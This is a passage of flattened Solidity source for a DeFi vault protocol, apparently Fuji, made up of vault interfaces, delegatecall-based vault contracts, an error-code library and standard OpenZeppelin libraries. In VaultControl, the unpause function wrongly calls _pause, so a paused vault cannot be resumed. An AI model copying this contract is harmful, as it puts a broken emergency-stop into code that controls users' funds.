event Withdraw(address indexed userAddrs, address indexed asset, uint256 amount);
// Log Users borrow
event Borrow(address indexed userAddrs, address indexed asset, uint256 amount);
// Log Users debt repay
event Payback(address indexed userAddrs, address indexed asset, uint256 amount);
// Log New active provider
event SetActiveProvider(address providerAddr);
// Log Switch providers
event Switch(
address vault,
address fromProviderAddrs,
address toProviderAddr,
uint256 debtamount,
uint256 collattamount
);
// Core Vault Functions
function deposit(uint256 _collateralAmount) external payable;
function withdraw(int256 _withdrawAmount) external;
function borrow(uint256 _borrowAmount) external;
function payback(int256 _repayAmount) external payable;
function executeSwitch(
address _newProvider,
uint256 _flashLoanDebt,
uint256 _fee
) external;
//Getter Functions
function activeProvider() external view returns (address);
function borrowBalance(address _provider) external view returns (uint256);
function depositBalance(address _provider) external view returns (uint256);
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
external
view
returns (uint256);
function getLiquidationBonusFor(uint256 _amount, bool _flash) external view returns (uint256);
function getProviders() external view returns (address[] memory);
function fujiERC1155() external view returns (address);
//Setter Functions
function setActiveProvider(address _provider) external;
function updateF1155Balances() external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { Pausable } from "@openzeppelin/contracts/utils/Pausable.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
contract VaultControl is Ownable, Pausable {
using SafeMath for uint256;
using UniERC20 for IERC20;
//Asset Struct
struct VaultAssets {
address collateralAsset;
address borrowAsset;
uint64 collateralID;
uint64 borrowID;
}
//Vault Struct for Managed Assets
VaultAssets public vAssets;
//Pause Functions
/**
* @dev Emergency Call to stop all basic money flow functions.
*/
function pause() public onlyOwner {
_pause();
}
/**
* @dev Emergency Call to stop all basic money flow functions.
*/
function unpause() public onlyOwner {
_pause();
}
}
contract VaultBase is VaultControl {
// Internal functions
/**
* @dev Executes deposit operation with delegatecall.
* @param _amount: amount to be deposited
* @param _provider: address of provider to be used
*/
function _deposit(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("deposit(address,uint256)", vAssets.collateralAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Executes withdraw operation with delegatecall.
* @param _amount: amount to be withdrawn
* @param _provider: address of provider to be used
*/
function _withdraw(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("withdraw(address,uint256)", vAssets.collateralAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Executes borrow operation with delegatecall.
* @param _amount: amount to be borrowed
* @param _provider: address of provider to be used
*/
function _borrow(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("borrow(address,uint256)", vAssets.borrowAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Executes payback operation with delegatecall.
* @param _amount: amount to be paid back
* @param _provider: address of provider to be used
*/
function _payback(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("payback(address,uint256)", vAssets.borrowAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Returns byte response of delegatcalls
*/
function _execute(address _target, bytes memory _data)
internal
whenNotPaused
returns (bytes memory response)
{
/* solhint-disable */
assembly {
let succeeded := delegatecall(sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 0)
let size := returndatasize()
response := mload(0x40)
mstore(0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(response, size)
returndatacopy(add(response, 0x20), 0, size)
switch iszero(succeeded)
case 1 {
// throw if delegatecall failed
revert(add(response, 0x20), size)
}
}
/* solhint-disable */
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
interface IFujiAdmin {
function validVault(address _vaultAddr) external view returns (bool);
function getFlasher() external view returns (address);
function getFliquidator() external view returns (address);
function getController() external view returns (address);
function getTreasury() external view returns (address payable);
function getaWhiteList() external view returns (address);
function getVaultHarvester() external view returns (address);
function getBonusFlashL() external view returns (uint64, uint64);
function getBonusLiq() external view returns (uint64, uint64);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
interface IFujiERC1155 {
//Asset Types
enum AssetType {
//uint8 = 0
collateralToken,
//uint8 = 1
debtToken
}
//General Getter Functions
function getAssetID(AssetType _type, address _assetAddr) external view returns (uint256);
function qtyOfManagedAssets() external view returns (uint64);
function balanceOf(address _account, uint256 _id) external view returns (uint256);
//function splitBalanceOf(address account,uint256 _AssetID) external view returns (uint256,uint256);
//function balanceOfBatchType(address account, AssetType _Type) external view returns (uint256);
//Permit Controlled Functions
function mint(
address _account,
uint256 _id,
uint256 _amount,
bytes memory _data
) external;
function burn(
address _account,
uint256 _id,
uint256 _amount
) external;
function updateState(uint256 _assetID, uint256 _newBalance) external;
function addInitializeAsset(AssetType _type, address _addr) external returns (uint64);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.0;
interface IProvider {
//Basic Core Functions
function deposit(address _collateralAsset, uint256 _collateralAmount) external payable;
function borrow(address _borrowAsset, uint256 _borrowAmount) external payable;
function withdraw(address _collateralAsset, uint256 _collateralAmount) external payable;
function payback(address _borrowAsset, uint256 _borrowAmount) external payable;
// returns the borrow annualized rate for an asset in ray (1e27)
//Example 8.5% annual interest = 0.085 x 10^27 = 85000000000000000000000000 or 85*(10**24)
function getBorrowRateFor(address _asset) external view returns (uint256);
function getBorrowBalance(address _asset) external view returns (uint256);
function getDepositBalance(address _asset) external view returns (uint256);
function getBorrowBalanceOf(address _asset, address _who) external returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
interface IAlphaWhiteList {
function whiteListRoutine(
address _usrAddrs,
uint64 _assetId,
uint256 _amount,
address _erc1155
) external returns (bool);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity <0.8.0;
/**
* @title Errors library
* @author Fuji
* @notice Defines the error messages emitted by the different contracts of the Aave protocol
* @dev Error messages prefix glossary:
* - VL = Validation Logic 100 series
* - MATH = Math libraries 200 series
* - RF = Refinancing 300 series
* - VLT = vault 400 series
* - SP = Special 900 series
*/
library Errors {
//Errors
string public constant VL_INDEX_OVERFLOW = "100"; // index overflows uint128
string public constant VL_INVALID_MINT_AMOUNT = "101"; //invalid amount to mint
string public constant VL_INVALID_BURN_AMOUNT = "102"; //invalid amount to burn
string public constant VL_AMOUNT_ERROR = "103"; //Input value >0, and for ETH msg.value and amount shall match
string public constant VL_INVALID_WITHDRAW_AMOUNT = "104"; //Withdraw amount exceeds provided collateral, or falls undercollaterized
string public constant VL_INVALID_BORROW_AMOUNT = "105"; //Borrow amount does not meet collaterization
string public constant VL_NO_DEBT_TO_PAYBACK = "106"; //Msg sender has no debt amount to be payback
string public constant VL_MISSING_ERC20_ALLOWANCE = "107"; //Msg sender has not approved ERC20 full amount to transfer
string public constant VL_USER_NOT_LIQUIDATABLE = "108"; //User debt position is not liquidatable
string public constant VL_DEBT_LESS_THAN_AMOUNT = "109"; //User debt is less than amount to partial close
string public constant VL_PROVIDER_ALREADY_ADDED = "110"; // Provider is already added in Provider Array
string public constant VL_NOT_AUTHORIZED = "111"; //Not authorized
string public constant VL_INVALID_COLLATERAL = "112"; //There is no Collateral, or Collateral is not in active in vault
string public constant VL_NO_ERC20_BALANCE = "113"; //User does not have ERC20 balance
string public constant VL_INPUT_ERROR = "114"; //Check inputs. For ERC1155 batch functions, array sizes should match.
string public constant VL_ASSET_EXISTS = "115"; //Asset intended to be added already exists in FujiERC1155
string public constant VL_ZERO_ADDR_1155 = "116"; //ERC1155: balance/transfer for zero address
string public constant VL_NOT_A_CONTRACT = "117"; //Address is not a contract.
string public constant VL_INVALID_ASSETID_1155 = "118"; //ERC1155 Asset ID is invalid.
string public constant VL_NO_ERC1155_BALANCE = "119"; //ERC1155: insufficient balance for transfer.
string public constant VL_MISSING_ERC1155_APPROVAL = "120"; //ERC1155: transfer caller is not owner nor approved.
string public constant VL_RECEIVER_REJECT_1155 = "121"; //ERC1155Receiver rejected tokens
string public constant VL_RECEIVER_CONTRACT_NON_1155 = "122"; //ERC1155: transfer to non ERC1155Receiver implementer
string public constant VL_OPTIMIZER_FEE_SMALL = "123"; //Fuji OptimizerFee has to be > 1 RAY (1e27)
string public constant VL_UNDERCOLLATERIZED_ERROR = "124"; // Flashloan-Flashclose cannot be used when User's collateral is worth less than intended debt position to close.
string public constant VL_MINIMUM_PAYBACK_ERROR = "125"; // Minimum Amount payback should be at least Fuji Optimizerfee accrued interest.
string public constant VL_HARVESTING_FAILED = "126"; // Harvesting Function failed, check provided _farmProtocolNum or no claimable balance.
string public constant VL_FLASHLOAN_FAILED = "127"; // Flashloan failed
string public constant MATH_DIVISION_BY_ZERO = "201";
string public constant MATH_ADDITION_OVERFLOW = "202";
string public constant MATH_MULTIPLICATION_OVERFLOW = "203";
string public constant RF_NO_GREENLIGHT = "300"; // Conditions for refinancing are not met, greenLight, deltaAPRThreshold, deltatimestampThreshold
string public constant RF_INVALID_RATIO_VALUES = "301"; // Ratio Value provided is invalid, _ratioA/_ratioB <= 1, and > 0, or activeProvider borrowBalance = 0
string public constant RF_CHECK_RATES_FALSE = "302"; //Check Rates routine returned False
string public constant VLT_CALLER_MUST_BE_VAULT = "401"; // The caller of this function must be a vault
string public constant SP_ALPHA_WHITELIST = "901"; // One ETH cap value for Alpha Version < 1 ETH
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
library UniERC20 {
using SafeERC20 for IERC20;
IERC20 private constant _ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
IERC20 private constant _ZERO_ADDRESS = IERC20(0);
function isETH(IERC20 token) internal pure returns (bool) {
return (token == _ZERO_ADDRESS || token == _ETH_ADDRESS);
}
function uniBalanceOf(IERC20 token, address account) internal view returns (uint256) {
if (isETH(token)) {
return account.balance;
} else {
return token.balanceOf(account);
}
}
function uniTransfer(
IERC20 token,
address payable to,
uint256 amount
) internal {
if (amount > 0) {
if (isETH(token)) {
to.transfer(amount);
} else {
token.safeTransfer(to, amount);
}
}
}
function uniApprove(
IERC20 token,
address to,
uint256 amount
) internal {
require(!isETH(token), "Approve called on ETH");
if (amount == 0) {
token.safeApprove(to, 0);
} else {
uint256 allowance = token.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, amount);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
